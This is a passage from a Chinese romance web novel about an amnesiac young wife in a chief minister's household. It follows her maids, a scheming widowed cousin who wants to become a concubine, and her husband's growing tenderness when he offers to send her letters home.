翌日,原本该有姑爷领着新妇向婆婆请安敬茶,可姑爷迟迟未归,小姐只好独自一人去,却被云阳县主当着府中妯娌仆妇下人的面给了小姐好大的脸子。
后来见姑爷几乎不踏入后院,府中的人又得知新婚夜小姐同姑爷没有圆房,都在私底下议论纷纷,笑话小姐。
小姐自幼养尊处优,被捧在手心里长大,性子虽骄纵但天真不谙世事,却在婚后短短半年不到尝尽人间冷暖,被蹉跎得一日比一日消沉,肉眼可见地失了生机活力,成日里坐在窗前望着廊庑下养的雀鸟发呆。
她的小姐,一定是这些年吃了太多太多的苦头,所以才会打心底不愿意记得那些伤心的事情。
“你怎哭了?”纾妍捧着淡烟的脸,心疼,“是不是她们欺负你了?”
“并未!”淡烟赶紧抹干眼泪,“奴婢只是想到没能照顾好小姐,害得小姐生病。”
“又不是你的错,定是我自己顽皮,”纾妍伸出柔软的手指替她揩去眼角的泪,“待我好了,咱们回北疆去,日日去城外草原上骑马追兔子。我想好了,以后都不要来帝都。我好像很不喜欢这里,就连这里的天气我都不喜欢。”
窗外雨声潺潺,她听得有些厌烦,就好像听了千百回一般。
明明,她从前最爱下雨天。
再也回不去了!
再也不会有那样的好日子了!
淡烟哽咽,“好。”
纾妍又问:“我那个婆——云阳县主为何不让我出门?”
话音刚落,院外传来“嘭”一声响,像是风吹倒了摆在窗台的盆栽。
轻云连忙上前查看,一推开窗,狂风裹着冷雨倒灌入暖和的屋子里。
轻云冷不丁地打了个喷嚏。
“阿嚏!”
浑身寒津津的书墨揉揉鼻子,赶紧捡起青石板上的油纸伞,重新撑在公子头顶,道:“这雨越下越大,公子不如回去娘子屋里躲躲雨?”
肩头湿了大片的裴珩见不远处有一凉亭,抬脚向凉亭走去。
书墨赶紧抬腿跟上去。
入了亭子,书墨见自家公子似乎还在等着他的回话,一边擦着脸上的雨水,一边道:“咱们县主出身高贵,又一向最重规矩不过。娘子却是罪臣之女,且还在北疆长大,县主担心她在外头失了规矩体面,所以成婚第二日就下了命令,若是娘子出门,须得向她请示。”
其实,何止这些呢。
县主不满这桩婚事,待大娘子也冷眼以待。
只是这话着实不好说出来。
更何况,如今公子与娘子已决意和离,说出来也无甚意思。
他又补充道:“公子忙,又从不在这些后院琐事上头留意,再加上咱们娘子未生病前一向性儿好,也不是个爱嚼舌根子的,想来也从未在公子跟前提过。”
裴珩再次陷入沉默。
外头雨势渐大,园中的绿植被风卷得东倒西歪,雷声阵阵,大有倾盆之势,将白天下成了黑夜。
轻云合上雕花窗棂,将满园风雨与雷声关在园子外头。
屋子里安静下来,她道:“不过是东屋窗台上的菊花盆栽被风吹倒,不妨事。”
淡烟放下心来,一边替昏昏欲睡的小姐揉捏着太阳穴,一边道:“云阳县主规矩大,不喜欢府里的人出门。”
“原来如此,我还以为她只针对我一人呢,”纾妍舒服地阖上眼睫,“既如此,待雨晴,我要出去逛逛。”
姨母从前总同她说,帝都如何热闹繁华,还常说,将来要给她寻帝都的郎君做夫君。
如今她真嫁来帝都,只觉得帝都的郎君实在一般。
兴许,所嫁非人。
就在淡烟以为她睡着时,她蓦然睁开眼睫,“我想起来了!”
淡烟心里咯噔一下,挤出一抹笑意,“小姐想起什么来了?”
“为何同我成婚的不是七哥哥?”她困惑不解,“是我对他始乱终弃?是我辜负他了吗?他心里可怨我恨我?”
明明,前天夜里他们还在一起,可一转眼,她已嫁作他人妇。
纾妍心里说不清是什么滋味,只觉得遗憾。
“小姐并未辜负任何人,”淡烟眸光闪烁,“小姐有小姐的难处,这世上不如意之事十有八九。”
“是这样吗?”脑子又有些混乱的纾妍忍不住问:“我记得他也是帝都人士,他如今可成婚,过得可快活?”
在她眼里,这天底下再也无活得快活更要紧的事儿。
“七公子一直未婚,”淡烟轻声道:“小姐若是心里惦记七公子,奴婢可代小姐写信。”
一直竖着耳朵偷听的轻云一脸惊诧地望着淡烟。
困意席卷的纾妍并未注意,又阖上眼睫,呢喃,“云雁未南归,相思不可寄。他若也在帝都,来瞧瞧我也好。不过,要晚些来,我得做几件漂亮的衣裳,免得他觉得我老。还有,那只老狐狸该不会哄我吧,他若哄我,我必定……”说着说着,沉沉睡去。
淡烟小心地扶着她躺好,又拿了一床衾被盖在她身上。
待掖好被角,早就按捺不住的轻云将她拖到门口。
园子里风雨如晦,风刮得呜呜作响。
轻云牙齿“咯咯”打战,“姐姐方才说什么胡话?瞎扯姑爷同小姐成婚的缘由也罢了,还胡诌七公子的事儿!姐姐难道忘记当年七公子得知小姐要成婚,阻拦不成,一怒之下远走边关吗?”
“我自然记得,”淡烟一脸平静,“更记得这些年七公子一直对小姐不死心,每年小姐生辰都会寄信来。若是小姐铁了心要同姑爷和离,那我就寄一封信给七公子
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,请他回帝都带小姐离开!”
轻云没想到她心里竟藏着这样大的主意,急道:“小姐不记得七公子是姑爷的侄儿也就罢了,难不成你也忘了?这天底下哪有女子嫁了叔叔再改嫁侄儿的!”
淡烟却道:“七公子若是真有心,莫说只是堂表叔侄,便是亲叔父又何妨!更何况七公子常年驻守边关,只要你我不同人说,谁又知晓小姐曾经与当朝首辅成过婚呢。”
轻云一向嘴笨,听了这话,憋了半天憋出一句话,“我看你比当年的七公子还要疯!若是小姐哪日清醒,你要如何向她交代!”
淡烟喃喃:“我曾经答应过大公子,一定会拿这条命护着小姐。如今小姐却弄得这番境地,我实在有负大公子所托。将来小姐清醒后若是怨我,我自会向小姐与大公子请罪。”
“是姑爷先负了小姐,无论小姐将来做出怎样的选择,那也不是她的过错!”
*
“这一切都同公子无关!”
书墨见公子面色不大好,信誓旦旦,“娘子一向喜静,兴许本就不爱出门,如今闹着要出门,怕是得了离魂症的缘故……”
这会儿,雨势渐小。
裴珩自他手中拿过那把油纸伞,吩咐,“待会儿去同母亲说一声,往后她愿意去哪儿便去哪儿,无须拘着她。”顿了顿,又道:“她若真要出门去,派人偷偷跟着。”交代完,抬脚出了亭子。
书墨望着那抹渐行渐远的柿色高大身影,脑子里不知怎么的冒出一句话来:娘子说以后爱去哪儿去哪儿,不许公子管着。
可公子却命人悄悄跟着,也不知这算不算变相食言呢?
大端帝国最大的乌龟……
他随即给了自己一耳光,啐了一句“叫你瞎想!”。
*
大雨连绵了两三日方歇,一直在屋里将养的纾妍精神已经恢复如初。
这几日裴珩遵守诺言,一次也未来后院,只派人送了两回去疤痕的药膏来。
纾妍乐得自在,每日吃得好睡得好,与从前在家里也无甚两样。
就是闷得慌。
到了第四日晌午,天气彻底放晴,纾妍便嚷嚷着要出去逛一逛。
淡烟拗不过她,让轻云先去准备马车,自己替她更衣。
对镜梳妆时,纾妍瞧着头上的纱布实在碍眼,动手拆了下来,额角的伤口已经结痂,有大拇指指甲盖那么大一块,实在有碍瞻观。
纾妍实在寻不出首饰来遮这伤疤,便用胭脂在上头描了一片海棠。
她虽不爱诗文,但是画工却极好,待画好后,淡烟望着镜中的女子,由衷赞美,“竟真像是有海棠花瓣落在额上!”
“我也觉得极好。”纾妍又在眼尾与嘴唇处也各自点了一抹胭脂,对镜照了又照,一脸得意,“我婚后也妆扮得这样美?”
其实,成婚这两年来,昔日闺阁里极爱打扮的女子已经许久不曾认真照过镜子。
女为悦己者容,可姑爷似乎从未正眼瞧过小姐。
只是这话说出来,实在伤小姐的心。
淡烟顺着她点头,“小姐只是衣裳穿得老些,人还是极爱美的。”
活在十四岁的女子信以为真。
梳妆过后,纾妍捏着鼻子从那堆老气横秋的衣裳里,挑了一件勉强看得过眼的藕荷色绣海棠纹样的衣裙。
刚换好,轻云过来,说马车已经停在后头角门处。
纾妍又对着穿衣镜前后照了照,这才满意地出了门。
主仆三人有说有笑向院外走去。
谁知院门一拉开,一披着白色披风的女子出现在眼前。
她瞧着二十出头的年纪,模样生得倒是极清秀,就是身形瞧着过分瘦弱,仿佛一阵风就能吹倒。
纾妍打小见惯了好东西,只一眼便瞧出她披风颜色虽极素,但上头的纹样费了心思,在阳光下闪烁着银光。
想来是镶了银线的缘故。
倒是极有巧思。
纾妍又见她作未嫁的打扮,以为她是府上的哪位小姐,正要询问是谁,对方忽然上前一步。
鼻子灵敏的纾妍立刻闻到一股子苏合香的气息。
她对苏合香里的其中一味香料过敏,一闻到便会打喷嚏,下意识地后退一步,拿手掩鼻,“姐姐别过来,有话站在那里说便是。”
话音刚落,对方眼圈蓦地红了,咬着唇不作声。
纾妍很是诧异,这位姐姐好生奇怪,怎好端端哭了?
这时,轻云在她耳边气鼓鼓道:“她就是那位表小姐。”
纾妍恍然大悟:原来是她便宜前夫的新欢呀。
不是说,是个寡妇吗?
8.第 8 章
纾妍养病这几日,曾听轻云提过,这个表姑娘闺名李素宁,是云阳县主娘家一个堂兄家的女儿。
后来这位堂兄逝世,云阳县主念及旧情,又见她乖巧,便接来府中住过几年。
纾妍与裴珩成婚时,这位表小姐已经回太原老家婚配,嫁的门第也不低,夫家在太原是名门望族,也在朝为官。
只可惜她夫君去年在赴任途中得了急病,不到三个月就病逝。她无子嗣,亡夫家中也待她不好,于是便来帝都投奔云阳县主。
如今瞧这身打扮,实在不像个寡妇。
这时,只听李素宁哭着道:“妹妹还在怪我?妹妹若是心里恨我,只管打我骂我便是!”
纾妍根本不知晓她在说什么。
若是因裴珩纳妾一事,着实犯不上,她如今也算与裴珩和离,莫说他要纳妾,便是娶妻也不关她的事。
纾妍道:“你去寻你表哥便是,还有,以后莫要来寻我。”言罢,就要走,谁知李素宁堵着路不肯让开,还在那儿哭哭啼啼。
“妹妹难道就不能原谅我这一回?我不过只是想要同妹妹一同服侍表哥罢了!妹妹又何必非要让表哥夹在你我中间为难?”
这语气,倒像是纾妍不原谅她,便是小气。
纾妍着急出去玩,实在不耐烦,“你这大姐怎么回事儿,我都说了你若有事就去寻你表哥,他便是今夜便同你洞房,我也管不着!”
话音刚落,李素宁面色惨白,摇摇欲坠,被身边的婢女一把扶住。
婢女冷笑一声,“我们小姐也是个体面人,巴巴地跑来向大娘子示好,娘子不领情也就罢了,还这样折辱我们小姐,若是被县主与九公子知晓,怕是大娘子也讨不得什么好!”
这便是拿云阳县主与姑爷压人。
轻云气得不轻,明明是她跑来给小姐难堪,反倒成了小姐的错处。
这时,淡烟道:“须知体面是自己给的,表小姐自己不重身份体面,还未行妾礼,就跑来与主母为难,也不知是哪门子的规矩礼仪,不如,我们现在就陪着表小姐去县主跟前评评理,如何?”
府上谁人不知,云阳县主最重规矩。
李素宁不由地上前一步,伸手拉纾妍的衣袖。
来不及躲开的纾妍转头连打了几个喷嚏,彻底败了兴致,捂着鼻子说了句“表姑娘既愿意站就站”扭身回屋去了。
院门“嘭”一声关上,李素宁的眼神里闪过一抹恨意,指尖几乎要扎进肉里。她低声吩咐,“可知待会儿见着表哥怎么说罢。”
小丫鬟“嗯”了一声,顶着日头朝前院跑去。
*
前院。
听雨堂。
一脸凝重的裴珩端坐在紫檀木圈椅里,在他面前同样的紫檀木书案上,几乎堆满亟待处理的公文。
他将手中批阅完的公文放到左侧,头也未抬,“说吧,他这回又闯了什么祸事?”
堂下,吴管家战战兢兢道:“三公子昨儿在春风如意阁,为一女子,当街把钱尚书家的公子给打了!”
裴珩闻言,右手支颐,半晌没说话。
“不止如此,”吴管家从怀里掏出一本手札,“还有前日,三公子与宁国府家的世子当街纵马,沿途碰坏了许多商贩的生意。那群商贩如今告到京兆尹那儿。京兆尹林大人将此事压了下来,昨儿晌午悄悄差人送了帖子来,说是请公子示下,大抵想要卖一个人情给公子。”
“卖人情?”裴珩气笑了,“你去回了京兆尹,若是想要卖人情,严惩才好。”
吴管家知晓大公子这是动了怒,抹了一把汗,“还有……”
“不必说了。”裴珩摩挲着右手的白玉扳指,“派人即刻将他押回来见我!他若敢跑,腿打断!”顿了顿,又嘱咐,“莫要让母亲知晓。”
吴管家应了声“是”,行礼告退。
吴管家离开没多久,裴珩一本公文还未看完,书墨又慌慌张张跑进来,急道:“公子,大事不好了!”
裴珩闻言,搁下手中主朱笔,轻轻揉捏着眉心,“又怎么了?”
书墨道:“表小姐身边的小丫鬟方才哭着跑来,说是表小姐特地去探望娘子,咱们大娘子却罚表姑娘在毒日头下站着。”
话音刚落,裴珩的指骨顿住,余光瞥向窗外。
此刻已经接近正午,园子外头日头愈发毒辣,晃得人眼睛疼,就连蝉都躲到阴凉处鸣叫,一阵又一阵,扰得人心烦意乱。
躺在贵妃榻上的纾妍收回视线,“她还未走?”
轻云忙道:“我去瞧瞧!”
轻云前脚刚走,纾妍又连打两个喷嚏,有气无力地问:“这个表小姐究竟是怎么一回事儿?”
她听着李素宁话里话外的意思,好像不只纳妾的事儿。
正替她在太阳穴涂抹药油的淡烟闻言,叹了一口气,“当初,她骗了小姐。”
李素宁初来府上时,县主命小姐亲自招待。
起初,小姐以为她是裴府的远方亲戚,又怜她孤苦,待她十分地尽心。李素宁也时常来小姐妍说话,这一来二去的,小姐心里待她也越发亲切,拿她当亲姐姐看。
谁知半个月前,小姐向云阳县主请安时,忽然被告知:因为她至今未育,要将这位表姑娘抬为贵妾,姑爷也已经同意。
而且此事李素宁早就知晓,这也是她当初来的目的。唯独小姐跟个傻瓜似的蒙在鼓里,掏心掏肺地与她处了些日子。
不止如此,小姐还意外得知,这位表小姐是姑爷放在心尖上的那抹白月光。
淡烟至今提起来,仍是愤愤不平,“小姐拿真心待她,她却这样戏耍小姐,伤小姐的心!”
纾妍没想到这里头竟然还有这层缘由,半晌没说话。
她实在难以想象,自己竟然曾同这样一个人做过几日闺中密友。
其实,她到现在都不明白当初裴珩为何会弃自己的心上人,而选择与她成婚。
只是她对于背刺这种做法深恶痛绝,对于从前的那个“倒霉蛋”自己,更是深表同情。
“可是,”她有些不理解,“她那样拙劣的演技,难道我从前竟一点儿没瞧出来?由着她哄骗?怎么,我婚后连带着智力都下降了?”
定是那老狐狸克她!
淡烟迟疑,“兴许,小姐只是寂寞。”
小姐来帝都没多久,就传来沈家被抄家流放的消息,帝都一个亲人也无。成婚后,因县主不待见,姑爷一心扑在朝堂上,府中的人贯会见风使舵,谁也不敢与小姐亲近。
忽然来了一个比自己大四五岁主动亲近自己,又装得那样温婉知性,难免看走了眼。
好在自家小姐对她的话未想得太深,只遗憾自己不能出去逛街,心里闷得慌。
淡烟见她不打喷嚏了,寻了些五彩锦线编制成绳与她游戏,又讲笑话逗她高兴。
这时,轻云气呼呼地回来,“还死赖着那儿不走,哭哭啼啼得说要向小姐请罪!不少路过的丫鬟婆子朝这边张望,这不是诚心给小姐难堪!都说云阳县主极重规矩,怎养出这样没脸没皮的女子!”
纾妍很是没劲,懒懒吩咐,“送把伞给这位风吹就倒的表姑娘,免得她出事儿讹上咱们。”
说到底,都怪她那个便宜前夫,当初既喜欢人家,又何苦来招她。
她怕是瞎了眼才会答应这门亲事!
*
“大娘子一定是喜欢狠了公子,”书墨信誓旦旦,“才会这样待表小姐!”
裴珩停驻脚步,睨了他一眼。
书墨认真分析,“公子想,娘子从前那般柔婉端庄的女子,且又无母家可依靠,怎会好端端向公子提出和离?今日又怎么体罚表姑娘?”
“须知,这女子呷起醋来,可是会要人命的!”书墨兴致勃勃地八卦,“吏部的赵侍郎前些日子不是在外头养了一十四五岁的外室,昨日,他领着那外室要去浮华阁买首饰,好巧不巧,被他家里那位河
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东狮撞个正着。赵夫人当街把赵侍郎挠花了脸,这也就罢了,还让婢女将那外室的衣裳给扒了。”
“还有太常寺孙寺卿,年初元宵节上不小心错牵了别家娘子的手,孙寺卿的娘子回去就闹着要回娘家,听说孙寺卿跪在房门前苦苦哀求才将人留下来。还有国子监……”
他说得绘声绘色,仿若亲眼所见,忽然听自家公子问:“他们都很怕自己的妻子?”
“也不是怕,”书墨见自家公子于风月一途似乎还不如自己晓得多,愈发得意,分析得头头是道,“这天底下的夫妻皆有自己的相处之道。那赵侍郎挨打也不是一日两日,为人又好面子,逢人就说自己的脸是被猫抓的,都成了帝都的笑话,公子可见他要和离?还有那孙寺卿,娶的是娘家表妹,两人两小无猜,青梅竹马,难道不知自己的表妹小性?还不是娶回家来巴巴哄着?”
“至于咱们娘子,娘子以往处处拘着自己,喜欢公子也不敢说,如今得了离魂症,从前不敢说的,不敢使的小性儿也全都使了出来,哎,也不过一片真情罢了……”
裴珩不自觉地加快脚下步伐。
约半刻钟的功夫,转脚澜院的大门出现在眼帘里。
书墨一眼就瞧见澜院门口伫立着的白色身影。
快要立夏,又是正中午,日头毒得很,表小姐身上的披风在太阳下闪烁着银光,晃得人眼睛疼。
书墨心想,衣裳倒是极好的,只是与这季节十分地不合时宜。
论起穿着品味,到底还要看大娘子。这些年公子的衣裳鞋袜配饰全都由她打理好好送入前院,就连自家公子那样挑剔的人都极满意。
这时,李素宁也瞧见裴珩,像是体力不支,扶额倒向他。
裴珩离她不过两步之遥,身形却半分微动,示意书墨扶人。
李素宁显然没想到他竟会让自己的小厮扶自己,愣了一下,又强撑着站起,哽咽落泪,“表哥怎来了?”
裴珩蹙眉:“日头大,你先回去。”
李素宁却不肯走,怯怯地望向紧闭的远门,“可妹妹至今心里还怨素宁,不愿见素宁。素宁自幼丧父,无依无靠,如今能够仰仗的也只有表姑母与表哥……”
许是听得“自幼丧父”四字,裴珩的神色舒缓些,看了一眼书墨。
书墨赶紧去叫门。
不多时的功夫,院门从里面打开,轻云探出头来,瞥见自家姑爷冷着脸站在外头,以为他特地来找自家小姐算账,面色大变。
她心里恨恨地将李素宁骂了几遍,还未来得及通风报信,裴珩越过她,大步朝院内走去。
他刚入廊庑,远远地便听见东屋厢房里传来“呜呜呜”的声音,像是有人哭泣。
书墨忙道:“定是大娘子也伤透了心!”
裴珩听了未言语,却足下生风,转眼间便到了东屋厢房门口。一入内,果然瞧见妻子正趴在贵妃榻上的红木亢几上,双肩微微颤抖。
裴珩登时眉头紧蹙。
原本坐在榻上讲笑话的淡烟见他沉着一张脸,以为他为外头的表姑娘向小姐兴师问罪,忙站起身向他见礼。
伏在榻上的女子听到动静,抬起一张明媚绝艳的面孔。
她眼睛湿漉漉地,洇红的眼角还挂着一滴胭脂泪,嫣红水润的唇微微嘟着。
裴珩的喉结滚了一滚,眸光在她额角的海棠花瓣停留片刻后,落在她细白手指上缠着的五彩锦绳上。
显然,她方才正与人聊以交线之戏。
而纾妍一见裴珩,认定他必是为外头新欢而来,只装作没瞧见,细白柔软的手指兀自翻着花样。
裴珩径直走过去坐下,身上着的粉霞色绣杂宝文缎衣摆散落在榻上,盖在纾妍衣裙上头。
纾妍本以为他要问责,已经打好满腹草稿,心想他待会儿若是敢骂她一句,她即刻收拾东西就走,谁知却听到他温声问道:“可好玩?”
她手指一抖,原本织好的花伞系数散开。
9.第 9 章
纾妍一向吃软不吃硬。
且她自幼顽皮,无论她玩什么,她那个不靠谱的爹都回凑上前,笑呵呵地问:“可好玩?”
这三个字让她极亲切,也不知为何,明明在她的记忆里,几日前还同她爹吵架来着。起因是爹不许她出去玩,她嫌他烦,气呼呼地说这辈子都不理他了。
此刻却仿佛与阿爹已许多年都不曾见过面,心里难过得很,眼眶一热,掉下泪来,又不想被前夫瞧见,忙扭过身,揉得眼圈都红了。
裴珩万万没想到自己不过一句话她竟哭了,下意识抬手想要替她拭泪,指尖刚碰到她湿漉漉的眼角,却被她躲开。
她吸吸鼻子,“大人若是想骂就骂,何苦假惺惺!”
“我为何要骂你?”裴珩收回手,轻捻着指腹的那一抹温热,“你是因为我要骂你,才哭?”
“自然不是,”她抬起雪白小巧的下巴尖,迎上他深沉的漆黑眼眸,“凭大人再位高权重,我也不怕!”
裴珩不动声色地打量着倔强而又傲气,却又哭得跟只小花猫一样的小妻子。
身边的人无不怕他,就连母亲待他也愈发地客气疏离。
从前她未失忆时,也待他事事顺从,再温柔体贴不过,亦不会用这样的眼神与语气同他说话。
裴珩忽然起了好奇心,“既不怕,为何哭得伤心?”
话音刚落,小花猫眼里的泪珠又不受控制地滚落。
她哽咽,“我只是想我阿爹。前几日我还同他怄气,可我怎么都想不起,究竟有无与他和好。”
裴珩闻言,再次不自觉地抬手替她拭泪。
屋子里静悄悄,外头蝉此起彼伏,似要将夏日唤来。
纾妍的伤心劲儿也终于过去,扭过脸躲开他的手,轻哼,“大人别以为我不知晓大人为何而来,难道她瞧着柔弱可怜些,我性子骄纵些,生得比她康健些,就一定是我的错?”
裴珩道:“我并非此意。”
纾妍才不信他的话,“虽然我不觉得有向大人解释的必要,但我如今借居在大人府中,不想旁人觉得我沈氏女没家教。”言罢,吩咐轻云,“去将表姑娘请进来。”顿了顿,斜了裴珩一眼,“就说她亲亲表哥请她,舍不得她在外头晒着。”
裴珩:“……”
轻云一溜烟的出了屋子,大约半刻钟的功夫去而复返,身后领着李素宁。
面色苍白的李素宁由婢女搀扶着,先向裴珩见了一礼,随后怯怯地看了纾妍一眼,未语泪先流。
像是怕极纾妍。
纾妍懒得理会她做戏,开门见山,“可是我主动叫你来,为难于你?”
李素宁拿帕子拭泪,“是我惹了表嫂不高兴,理应受罚。”
方才还是妹妹,眼下就成了表嫂。
纾妍也懒得与她计较,“你只管答,可是我命你站在外头?”
这话一出,李素宁咬唇不语。
在她眼里,眼前这个被表哥厌弃的女子,从前只会躲在自己的院子里,不是听雨就是观鸟,空有一副好皮囊,却无用得很。
表哥不过要纳自己为妾,她竟然这般容不下,还闹出了个离魂症。
先前在外头,她就察觉到对方与先前有所不同,原以为当着表哥的面她必定会有所收敛,谁知她却死咬着不放。
李素宁不由地捏紧了手里的帕子,小声道:“并未。”
纾妍抿了一口茶,又问:“可是你自己非要站在外头的?”
李素宁闻言,看向面无表情的裴珩,哽咽,“表哥,我——”
一旁的轻云插话,“我家小姐还好心让我送了伞给表姑娘,表姑娘自己非要在太阳底下……”
裴珩道:“只管答是与不是。”
李素宁声音愈发小,喃喃,“是。”
纾妍摊手,一脸无辜,“大人也听见了,我长这么大没听过这么离谱的要求,拦都拦不住。”
话音刚落,屋子里的人都笑了起来,就连守在门口的书墨也笑了。
纾妍却并未笑话李素宁,见自证清白,弯下雪白的颈,兀自认真翻弄着花绳。
裴珩也没笑,摩挲着拇指的白玉扳指,眼神却落在纾妍细白柔软的手指上。
那双手灵巧如蛇,很快就织出一花伞来。
李素宁从未受过如此屈辱,一张本就在日头下晒得微红的脸此刻红得似血,又见自家表哥的心神全在纾妍身上,眼神里闪过一抹妒意,不由地上前一步。
“阿嚏!”纾妍连打了三个喷嚏,手上的花绳乱作一团。
轻云急忙挡在纾妍跟前,恶狠狠地瞪着李素宁,“你这人怎一回事,我家小姐让你莫要靠近,你还非要靠近!”
裴珩见纾妍不停打喷嚏,眼泪都逼出来,皱眉,“怎好端端忽然这样?”
淡烟拿湿帕子替自家小姐捂住口鼻,回道:“我家小姐对某些香料过敏,表小姐今日用的熏香里恰好就有,我们小姐都已经告诫过她莫要靠近!可怜我家小姐也不知怎得罪了表小姐,表小姐非要如此!”
这话的意思,显然是李素宁故意为之。
李素宁一贯在人前喜欢装可怜颠倒是非,这回被淡烟全用在她身上。
李素宁正欲上前解释,还未开口,就听自家表哥道:“你先回去。”顿了顿,又道:“往后莫要来这里。”
李素宁愣了一下,眼泪簌簌落下。
这回是真哭。
李素宁捂着脸哭着跑开。
屋子里再次安静下来。
纾妍捂着痒意钻心的鼻子,瓮声瓮气,“大人不忙?亲亲表姑娘哭成那般,不追出去哄哄?”
裴珩闻言,眸光落在她额角的那抹用胭脂勾勒出来的海棠花瓣,喉结滚了一滚,道:“云雁南归,相思可寄。你闲暇时可写家书,我命人替你送去给岳丈大人。”
屋子里的淡烟与轻云闻言,皆从对方眼中看到难以置信。
老爷与公子被流放苦寒之地,且距帝都有几千里之遥,这些年小姐可谓日日思念,信写了满满一箱笼,却一封都寄不出去,可见这其中艰难。如今两人都要和离,姑爷竟然主动提出帮小姐寄信。
丝毫不知情的纾妍以为裴珩是替自己寄信到北疆,高兴得不得了,又想到自己方才赶人,颇有些不好意思,咬了咬唇,问:“真的吗?”
裴珩对上那双天真不谙世事的眼睛,声音不自觉地温和些,“自然是真的。”
“多谢大人!”纾妍欢喜地从榻上下来,把手里的彩绳丢到他怀里,赶紧去寻纸笔。
裴珩下意识地接住那把纠
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缠在一起的彩绳,见她心思已经飞到家书上,停驻片刻后,悄无声息地离去。
行出院门时,书墨突然嘿嘿笑了一声,“方才我都听见了。”
裴珩斜他一眼。
书墨连忙道:“公子难道没有听娘子呷醋的话?”说着,捏着嗓子将纾妍那句“大人不忙?亲亲表姑娘哭成那般,不追出去哄哄”重复了一遍。
他嗓子粗噶,学出来的声调实在怪异难听。
裴珩未搭理他,负在背后的手不由地握紧了手心那团柔软的五彩锦绳。
书墨更加的笃定,“现在看来,娘子果然是爱极公子。”
他针对“呷醋”这个问题唠叨八卦了一路,从前总嫌他聒噪的裴珩难得没有呵斥他。
眼看着书墨都要八卦到宫里去,听雨堂的大门终于出现在眼前。
早就守在院门口的吴管家忙迎上前,道:“回公子,三公子已经被绑在屋里了。”
裴珩沉下脸来,吩咐,“去祠堂把家法请来!”
吴管家,“这……还请公子三思!”
*
“他从前也这样好说话吗?”
终于注意到裴珩离开的纾妍好奇地问。
淡烟一脸茫然,“谁好说话?”
纾妍眨眨眼,“自然是那老狐狸。”
她都还没提要求,对方竟然主动提出要替她寄家书。
“这……”淡烟不知怎的想起有一回撞见姑爷罚三公子的情景来,那场面绝对称不上和善好说话,不过在娘子跟前,好像倒也还好,就是不大来而已,不过也绝对没有像这几日,处处顺着娘子。
好在纾妍一心记挂着家书,并未太在意她的回答。
纾妍原本想要在信中告知家人自己得了离魂症一事,可又怕家里人担心,只写了些趣事儿。
其实她刚醒来,什么也不记得,全都是现编的。看到廊外挂着的彩色雀鸟,便写那鸟儿会唱歌。看到园子里的花儿草儿漂亮,也要尽力夸一夸。总之,就连屋外树下的蚂蚁搬家,也值得赋小诗一首。
纾妍心里想要说的话实在太多,洋洋洒洒写了一大堆,末了,在信的末了写道:【帝都样样都好可我想家】。写完后,又补了一句:【若七哥哥还在替我问好】
一旁的淡烟见了,忙道:“小姐,这句话不必写!”
纾妍不解,“为何?”
淡烟道:“七公子也许已经不在。不如下回奴婢打听到七公子的消息,小姐单独寄给他。”
谁知这封信送去何处,若是姑爷瞧了岂不麻烦。
纾妍一想也是,在那行字上头虚划了一笔,待纸上的墨迹干了后,找了信封装好,催促她送信。
淡烟见她快活得不得了,心里也跟着高兴。无论这封信送往何处,在小姐的心中,它会穿过层层云端,带着小姐的思念,送到最重要的人手中。
她一时又想起自小姐生病后,姑爷倒是比以前体贴,又道:“反正今日也不便出去逛,不如小姐亲自送过去。”
俗话说,见面三分情,姑爷了解了她家小姐的好处,自然更加舍不得。
纾妍正迟疑,一旁的轻云也道:“小姐上回不是要看荷花,这会儿天气正好。”
“也好,”纾妍不疑有他,“那就走走。”
10.第 10 章
此刻快要傍晚,落日熔金,暮云合璧。
纾妍主仆三人一边走一边欣赏沿途的风景,路过上回的荷花池时,见荷花果然开得极好,又倚栏赏起荷花来。
她玩得高兴,丝毫没有注意到对面的水榭里,两个手持团扇的年轻贵妇正朝她望来。
一生得白团脸的婢女道:“这大娘子得了离魂症后,倒真像换个人似的,人也较从前更加明艳年轻。”
话音刚落,身着紫色衣裙,生得颇有几分姿色的贵妇斜了她一眼。
婢女立刻垂下眼睛去。
紫衣妇人收回视线,轻摇团扇,叹了一口气,像是极为担忧,“也不知一个得了离魂症的人,如今可还有能力管家。”言罢,又一脸惋惜地看向着红色衣裙,打扮得格外俏丽的年轻妇人,“我真替弟妹感到可惜,弟妹出自诗书礼仪人家,若论起管家能力,这府上当属弟妹莫属。只可惜,谁叫人家排在弟妹前头呢。也不知县主是怎么想的。我昨儿向县主请安时,倒想替弟妹打抱不平两句,只可惜我到底不是这府上人,实在不好开这个口。”
话音刚落,红衣妇人啐了一口,“凭她一个边疆来的破落户,也配同我比!”说完,气呼呼地起身告辞。
直到那抹红色身影消失在小径尽头,紫衣贵妇斜了一眼那个团脸婢女,笑:“你过来。”
婢女忐忑走过去,跪在她跟前。
妇人伸出染了丹蔻的寸长指甲拧着她白嫩的脸蛋,问道:“你方才说,大娘子生得如何?”
婢女疼得眼泪都出来了,哽咽,“是奴婢眼瞎,那二房大娘子蠢笨如猪,怎比得上咱们大娘子您如花美貌!”
妇人松开指尖,轻抚着她的脸蛋,盈盈笑道:“嘴巴真甜,我掐疼你了吧,你是知道我这个人心肠最软了。对了,表姑娘从听雨堂哭着回去,你替我送些胭脂过去瞧瞧她。”
婢女哭着应了声“是”。
*
“方才亭子里可是坐着赵娘子同孙娘子?”
淡烟有些不放心地问轻云。
轻云也没注意,“是罢?”
纾妍好奇,“那是谁?”
淡烟一脸凝重,“赵娘子是府上二公子的正妻,孙娘子则是裴家大房的娘子,暂居在咱们府上。”又见自家小姐眼神有些茫然,又介绍,“云阳县主一共育有三子,公子是嫡长子,二公子为人,嗯,比较随性,只在工部领了一份闲差。这位赵娘子则是赵祭酒家的嫡小姐,有些自视甚高。因着管家权一事儿,一直与小姐不对付。孙娘子这个人很难评,总之,小姐要小心些。”
纾妍有些不以为意,待她病一好,就会离开,同什么孙娘子赵娘子李娘子也不会再有关系。
几人说话间就到了裴珩所居的听雨堂。
纾妍抬头瞧着上方匾额,只觉得上头提的字极好,落笔极有气势,不过简单三个字,倒写出气吞山河的气魄来。
提这字的人,必胸有丘壑。
纾妍问道:“我从前常来这儿吗?”从前在家里,她姨母也常去书房。
淡烟道:“小姐第一次来。”
纾妍惊讶,“为何?你不是说我同他两情相悦,后来是因为无子嗣纳妾,我们才和离吗?”
一个谎言,要用无数个谎言去圆。
已经圆出经验的淡烟随口就来,“小姐不爱看书,觉得书房气味不好闻。”又怕自家小姐问出别的来,赶紧上前敲门。
过了好一会儿才有人来应门。
书墨从门里探出头来,见到纾妍愣了一下,“娘子怎来了?”
纾妍笑,“我信写好了。”
书墨惊讶,“这样快?”
